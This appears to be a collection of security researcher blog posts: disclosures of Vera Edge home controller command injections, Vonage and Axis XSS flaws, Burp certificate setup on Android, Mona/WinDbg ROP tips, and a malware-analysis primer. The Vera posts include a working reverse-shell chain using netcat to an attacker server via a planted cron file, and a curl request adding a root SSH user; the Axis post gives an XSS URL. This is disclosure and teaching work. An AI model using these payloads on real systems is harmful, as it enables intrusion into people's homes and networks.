Vera Edge Home Controller – Remote Shell via Unauthenticated Command Injection

Note: This vulnerability has been assigned CVE-2019-15498.

This post outlines a vulnerability for the VeraEdge Home Controller running firmware version 1.7.4452. The VeraEdge allows you to connect with and control a variety of different smart home devices from different vendors. Device settings and states can be orchestrated using scenes and rooms to control a smart home. The devices can be accessed by the home controller using Z-Wave or Wi-Fi. The device can be access remotely via mobile and web applications. The VeraEdge controller also has a local web server for access on the LAN.

The hardware consists of a 600MHz MIPS SoC, 128MB NAND flash, and 128MB of DDR2 memory. The controller has support for Wi-Fi, Z-Wave, and USB in addition to ethernet.

A command injection vulnerability was discovered in the /cgi-bin/cmh/webcam.sh endpoint. The Vera Edge Home Controller hosts many Haserl scripts in the /www/cgi-bin/cmh directory. The webcam.sh file is vulnerable to limited command injection. Furthermore, the endpoint does not have any CSRF protection, authentication, or authorization requirements. Given the lack of endpoint protection it is possible to exploit this vulnerability over the Internet through the use of a phishing email or drive by visit to a web site.

#!/usr/bin/haserl
Content-Type: image/jpeg

#Copyright (C) 2009 MiOS, Ltd., a Hong Kong Corporation
#                    www.micasaverde.com
#           1 - 702 - 4879770 / 866 - 966 - casa
#This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License.
#This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
#without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

if [[ -n "$FORM_ip" ]]; then
    if [[ -n "$FORM_username" ]]; then
        if [[ -n "$FORM_password" ]]; then
            curl -k -s -u $FORM_username:$FORM_password --connect-timeout 3 --max-time 5 "http://$FORM_ip/SnapshotJPEG?Resolution=160x120&Quality=Standard"
        else
           curl -k -s -u $FORM_username --connect-timeout 3 --max-time 5 "http://$FORM_ip/SnapshotJPEG?Resolution=160x120&Quality=Standard"
        fi
    else    
        curl -k -s "http://$FORM_ip/SnapshotJPEG?Resolution=160x120&Quality=Standard"
    fi
fi    

From the above script, we can see that the script takes the following input parameters: ip, username, and password. Depending on what values are present, a cURL command is constructed using the appropriate command line arguments. Haserl is supposed to protect against command injection. The following characters appeared to be ignored or stripped from processing by Haserl even though the variable isn’t enclosed in quotes: “; ? & |”. With this limitation, it was found that additional command line arguments can still be injected into the command and supplied to cURL. The protections just limit an attacker from terminating the cURL command early or concatenating input to execute arbitrary shell commands.

Since the attacker controls the IP address in which cURL will retrieve a file, a remote server can be setup in the following manner to host a malicious file. The exploit requires the use of a cron job to execute a netcat callback command for retrieving a remote shell. Setup a cron file hosted on the remote server for the cURL command to retrieve. Execute the following commands on a remotely accessible Linux server.

mkdir www
cd www
touch index.html
echo * * * * * nc -e /bin/ash {ip address of remote server} 8000 > index.html
python3 -m http.server 80

The following screenshot shows the remote server setup and listening for requests.

remote-shell-via-unauthenticated-command-injection-1

Next, the attacker can craft a malicious URL to be sent to the victim.

http://192.168.86.40/cgi-bin/cmh/webcam.sh?ip=127.0.0.1&username=test%20{ip address of remote server}/index.html%20–output%20/etc/crontabs/nobody

The previous URL will cause the cURL command to execute a GET request to the IP address of a remote server retrieving the index.html file and outputting it to the location /etc/crontabs/nobody. The –output /etc/contabs/nobody is injected into the cURL command of the webcam.sh script which is executed. The filename in which the cron file is output to requires a valid user. The nobody user was selected in this case. The cron job will execute every minute executing nc -e /bin/ash {remote server ip} 8000. This command will execute /bin/ash directing stdin, stdout, and stderr to the network descriptor. With a listener on the other end the attacker will have a remote shell over port 8000.

The attacker will setup a listener using the nc -l -p 8000 -vvv command to listen on port 8000 for incoming connections.

Picture1

 

Tech Note: Installing Burp Certificate on Android 9

Note: this technique does not work on Android 10. At this point, I am unsure of how to make /system writable to copy the certificate into the trusted store.

After setting up a proxy and configuring a device, normally you can navigate to http://burp and download the certificate for installation. This did not work for me when running Android 9.

To install the certificate on an Android 7 or above device I had to export the certificate from Burp in DER format.

Screen Shot 2017-12-12 at 10.35.39 AM

Once the certificate is exported it must be converted from DER to PEM format.

openssl x509 -inform DER -in burp.der -out burp.pem

Rename the certificate using the subject hash.

openssl x509 -inform PEM -subject_hash_old -in burp.pem |head -1

mv burp.pem <output_from_prevous_command>.0

Copy the file <subject_hash>.0 into /sdcard on the android device.

./adb push /path/to/file/<subject_hash>.0 /sdcard/

Remount /system as read/write. This requires a rooted Android device or emulator.

./adb shell su -c “mount -o rw,remount,rw /”

Open a shell on the Android device.

./adb shell

Once the shell is loaded, move the file into the trusted certificate store, set correct permissions, and reboot the device.

cp <subject_hash>.0 /system/etc/security/cacerts

chmod 644 /system/etc/security/cacerts/<subject_hash>.0

reboot

Vera Edge Home Controller – LuaUPnP Unauthenticated Command Injection

Note: This vulnerability has been assigned CVE-2019-13598.

A command injection vulnerability was discovered in the /port_3480/data_request endpoint.  The VeraEdge has support for Lua scripting allowing developers to extend the functionality of the device.  Lua scripts submitted in the Test Luup code (Lua) form in the web interface are handled by the /port_3480/data_request endpoint which forwards requests to a C++ program called LuaUPnP.  LuaUPnP does not whitelist input allowing for the use of insecure API calls.  Furthermore, the endpoint does not have any authentication or authorization requirements.

The following image is an extract of the /etc/lighthttpd.conf displaying the proxy rule which forwards requests to the /port_3480 endpoint to localhost:3480.

rce-via-unauthenticated-command-injection-1

The following image displays output from the netstat command displaying the LuaUPnP process listening on all interfaces 0.0.0.0:3480.

rce-via-unauthenicated-command-injection-2

The following image displays output from the ps aux command showing that LuaUPnP runs as root.

luaupnp-runs-as-root.png

Exploiting LuaUPnP via command injection will likely grant the same root level privileges.

Requests are handled but he JobHandler_LuaUPnP::HandleActionRequest function.  This function determines the type of request being made, if the action parameter is equal to RunLua it will call the JobHandler_LuaUPnP::RunLua function. JobHandler_LuaUPnP::RunLua does some setup and sanity checking before delegating the execution of Lua script to the JobHandler_LuaUPnP::RunCode function.  One such sanity check that is performed, is to see if unsafe Lua scripting is allowed.  This block of code appears to never be executed in my testing of different device security settings.

if (*(char *)(*(int *)(this + 0x244) + 0x20f) == '\0') {
    piVar2 = (int *)GetInstance();
    (**(code **)(*piVar2 + 0x10))(piVar2,2,"JobHandler_LuaUPnP::RunLua unsafe disabled");
    __dest = (char *)(*(int *)param_1 + 8);
    __nptr = "No unsafe lua allowed";
  }
  else {
 	// Additional checks before running Lua code…

 

rce-via-unauthenticated-command-injection-3

The following cURL command demonstrates exploitation of this vulnerability by creating a new user giving the attacker access to login to the device via SSH which is enabled by default.

curl -i -s -k  -X $'POST' \
    -H $'Host: 192.168.86.30' -H $'Content-Length: 252' \
    --data-binary $'id=lu_action&serviceId=urn:micasaverde-com:serviceId:HomeAutomationGateway1&action=RunLua&Code=os.execute(%22adduser%20-h%20%2Froot%20-s%20%2Fbin%2Fash%20testuser%22)%3B%0Aos.execute(%22echo%20-e%20%5C%22test%5Cntest%5C%22%20%7C%20passwd%20testuser%22)' \
    $'http://192.168.86.30/port_3480/data_request'

Using Mona with WinDbg

Load pykd.pyd

.load pykd.pyd

Verify Mona is working by viewing usage information

!py mona

Search for modulars that are not ASLR or rebased

!py mona noaslr

Search through memory to find ROP gadgets in the kernel32.dll module

!py mona rop -m kernel32.dll

We can search multiple modules at once to find ROP gadgets for better results

!py mona rop -m "kernel32.dll,server.exe,ws2_32.dll,RPCRT4.dll" -cpb "\x00\x0a\x0d"

Search for gadgets using wildcards. The following example will search kernel32.dll for pop any 32 bit register, pop any 32 bit register, and then a return

!py mona findwild -m kernel32.dll -s "pop r32 # pop r32 # ret"

WinDbg tips for writing shellcode

I’ve had to search for instruction using WinDbg when doing a stack pivot.  The following example will search for jump edx (ff e2):


s 0 L?7EEEEEEE ff e2

Once you find a list of instructions that can be used for your pivot, verify you have the correct command by disassembling at that address:


0:000> u 7706da75
7706da75 ffe2 jmp edx
7706da77 48 dec eax
7706da78 8b05ca160300 mov eax,dword ptr ds:[316CAh]
7706da7e 48 dec eax
7706da7f 85c0 test eax,eax
7706da81 7419 je 7706da9c
7706da83 807c246000 cmp byte ptr [esp+60h],0
7706da88 7412 je 7706da9c

Once you have found an address to use for your stack pivot double check the memory protections at that address using !vprot:


0:000> !vprot 7706da75
BaseAddress: 7706d000
AllocationBase: 77050000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 00018000
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE

Explaining DGAs

A DGA is a Domain Generating Algorithm.  These algorithms provide malware with new domains when connecting back to a C2 server.  Both the C2 server and the client need to implmement the same DGA to keep in sync for constant communication at any given time.

DGAs are a nessessary to avoid blacklisting which hinders the operation of the malware.  Without a DGA a new version of malware would need to be deployed when the domain is discovered and blocked.  A well written DGA is hard to determine and switches on a regular interval to avoid blacklisting keeping the C2 communication up and running.  The result of a DGA is an AGD or algorihimly generated domain.  The constant changing of domains is often referred to as Domain Fluxing.

Finding DGAs in malware is often the combination of reverse engineering and dynamic analysis.  Reverse engineering will alllow you to determine seed values and top level domains used to generate the domains.  The goal is to reverse engineer the algorithm to predetermine domains for blacklisting.  Alternately, you can run the malware and log network traffic reviewing the generated domains, and attempt to reverse engineer the algorithm which generated them.

In summary, DGAs provide malware authors a method to avoid detection and blacklisting of there C2 channel.  Reverse engineering the DGA provides a method for defenders protect their networks from malicious activity.  DGA authors will continue to think of new and clever ways of generating domains for C2 connectivity.  Potential methods include seeding the algorithms based on trending topics on Twitter, stock market prices, or even the current value of bitcoin.  The potential methods are only limited by one’s imagination.

Getting started with malware analysis

I’ve been exploring high-level malware analysis over the past few weeks.  This post is a collection of thoughts and learnings from exploring this area of research.

Analysis Lab

First things first, you need to setup a lab environment off of your production network to analyze malware samples.  I recommend using a virtual machine to acomplish this wether that is virtual box or VMware.  You will need a Windows machine running Windows 7 or later depending on your needs.

I have opted for setting up the FLARE VM on Windows as it includes a plethora of utilities to get you started.  A number of which I will be breifly discussing in this post.

Make sure to create a snapshot of a clean state once you have your analysis VM configured.  You can restore this snapshot when you have completed an analysis session or need to update your system and tools.

It is important to ensure your VM is set to host-only mode when doing analysis to ensure the malware cannot connect to its C2 server or other machines on your network.  This will prevent the malware from doing malicious operations that you will want to prevent when analyzing its inner workings.

FLARE VM

Setting up FLARE VM is straight forward and to this point the only set of tools I’ve explored on this journey.  Download the installer from https://github.com/fireeye/flare-vm and follow the instructions in Readme.md.  This will transform your Windows VM into a malware analysis machine giving you the utilities you need to perform both static and dynamic analysis of malware samples.

PE File Format

Windows executables use the portable executable file format, also called the PE file format. These files contain the information required by the Windows loader to manage the wrapped executable code. The file begins with a header that contains information about the code, type of application, required library functions, and space requirements. Reviewing the PE file for this information gives us a great look at what the program may do. Looking at the required libraries and functions can give hints as to the functionality of the application. Reviewing space requirements may indicate if we are dealing with a packed executable. This is a good place to start when doing basic static analysis.

The four commonly found file sections include the following:

    • .text
      • Contains the instructions that the CPU executes
      • This should be the only section that can execute
      • Other sections include supporting information
    • .rdata
      • Contains import and export information
      • Can also be used to store other read-only data
      • Sometimes different compilers will create a .idata and .edata for import and export information
    • .data
      • Contains global information accessible from anywhere within the program
    • .rsrc
      • Contains resources used by the application such as icons, menus, images, and strings.

Packed Executables

While exploring your malware samples you may encounter packed executables.  This is fairly common for malware authors to pack executables for both obsucaction and to avoid detection by scanners.

A couple tips on detecting if you are working with a packed executable.

  • Running strings returns no human readable text
  • The import address table is very sparse
  • Section headers have declared sections with RAW Size of 0

When you encounter a packed executable there are a few tools included in the FLARE VM to help you unpack the exe.

Take a look at the following utilities to get started.

  • die
  • peid
  • CFF Explorer (supports UPX unpacking)

Tools for Basic Static Analysis

  • PEView
  • Resource Hacker

Tools for Basic Dynamic Analysis

  • Sysinternals
    • tcpview.exe
    • procmon.exe
    • procexplorer.exe
  • Network monitoring
    • FakeNet-NG
    • Wireshark

FakeNet-NG

I’m going to dive a bit into FakeNet-NG as I found it particularly useful.  FakeNet-NG is a dynamic network analysis tool for malware analysis.  It allows you to intercept and redirect all or specific network traffic while simulating legitimate network services.  What does this mean? While you are running in host-only mode on your VM, the malware cannot reach out to its C2 server or other network services.  FakeNet-NG steps in and provides network services for the malware to communicate with providing fake network connectivity for your malware sample. During this process, FakeNet-NG will create a pcap file of all the traffic captured during the execution of the malware sample allowing you to dig deeper into what C2 servers or other network resources the malware is communicating with.  This allows you to profile the malware functionality in safe manor.

For more information on FakeNet-NG visit https://github.com/fireeye/flare-fakenet-ng and read the provided documentation.

I will continue to update this post with additional information as my research progresses.  I hope you found this useful.

Tech Note: Installing Burp Certificate on Android

Note: I have an updated post on installing the Burp certificate on newer versions of Android. See Tech Note: Installing Burp Certificate on Android 9.

After setting up a proxy and configuring a device, normally you can navigate to http://burp and download the certificate for installation.  This did not work for me when running Android 6.0.1.

To install the certificate on an Android device I had to export the certificate from Burp in DER format.  After that I was able to import the certificate without any problems.

Screen Shot 2017-12-12 at 10.35.39 AM

  1. Open Burp
  2. Navigate to Proxy -> Options -> Import / export CA certificate
  3. Select Certificate in DER format
  4. Export the certificate
  5. Copy the certificate to the Android device
  6. Install the certificate by navigating to Settings -> Wi-Fi – More options -> Advanced -> Install certificates
  7. Select the certificate and give it a name

Once the certificate is installed you can proxy SSL/TLS traffic as expected.

Vonage HT802 – Multiple Vulnerabilities

I have disclosed three vulnerabilities in the Vonage (Grandstream) HT802.  I haven’t received a response from Vonage.  These vulnerabilities can be chained to inject persistent XSS in the Basic Settings screen of the device.

Update: I have the following received CVEs for these vulnerabilities:

1.) Cross-Site Request Forgery (CSRF) vulnerability in the login screen (/cgi-bin/login) allows an attacker to log into a target Vonage device. (CVE-2017-165635)

POC Verified in Firefox 56.0 on macOS

2.) Cross-Site Request Forgery (CSRF) vulnerability in the Basic Settings screen allows an attacker to modify system settings. (CVE-2017-16563)

POC Verified in Firefox 56.0 on macOS

3.) Stored Cross-site scripting (XSS) vulnerability in cgi-bin/config2 in Vonage HT802 allows remote authenticated users to inject arbitrary web script or HTML via the DHCP vendor class ID field (P148). (CVE-2017-16564)

POC Verified in Firefox 56.0 on macOS

These three vulnerabilities can be chained to inject a persistent XSS payload into the Basic Settings page.

Axis 2100 Network Camera 2.03 XSS Vulnerability

Update: this has been assigned CVE-2017-15885.

I have found a vulnerability in the Axis 2100 Network Camera running 2.03 firmware.  Vulnerability has been disclosed to the vendor but the camera is no longer supported.

Reflected XSS in web administration portal in Axis 2100 Network Camera 2.03 allows attacker to execute arbitrary javascript via URL.

POC Verified on Firefox 55.0.3:

http://xxx.xxx.xxx,xxx/view/view.shtml?paramskip=yes&conf_Layout_BGColorEnabled=yes&conf_Layout_OwnBGColorEnabled=no&conf_Layout_OwnBGColor=White&conf_Layout_TextColorEnabled=yes&conf_Layout_OwnTextColorEnabled=no&conf_Layout_OwnTextColor=Black&conf_Layout_BackgroundEnabled=yes&conf_Layout_OwnBackgroundEnabled=no&conf_Layout_OwnBackground=http://&conf_Layout_TitleEnabled=yes&conf_Layout_OwnTitleEnabled=yes&conf_Layout_OwnTitle=%3Cscript%3Ealert('test')%3C/script%3E&conf_Layout_LogoEnabled=yes&conf_Layout_OwnLogoEnabled=no&conf_Layout_OwnLogo=http%3A//&conf_Layout_LinkEnabled=yes&conf_Layout_OwnLinkEnabled=no&conf_Layout_OwnLink=http%3A//&conf_Layout_DescriptionEnabled=yes&conf_Layout_OwnDescriptionEnabled=no&conf_Layout_OwnDescription=&conf_Layout_RelayButtonsEnabled=yes&conf_Layout_AdminButtonsEnabled=yes&conf_Layout_LayoutEnabled=no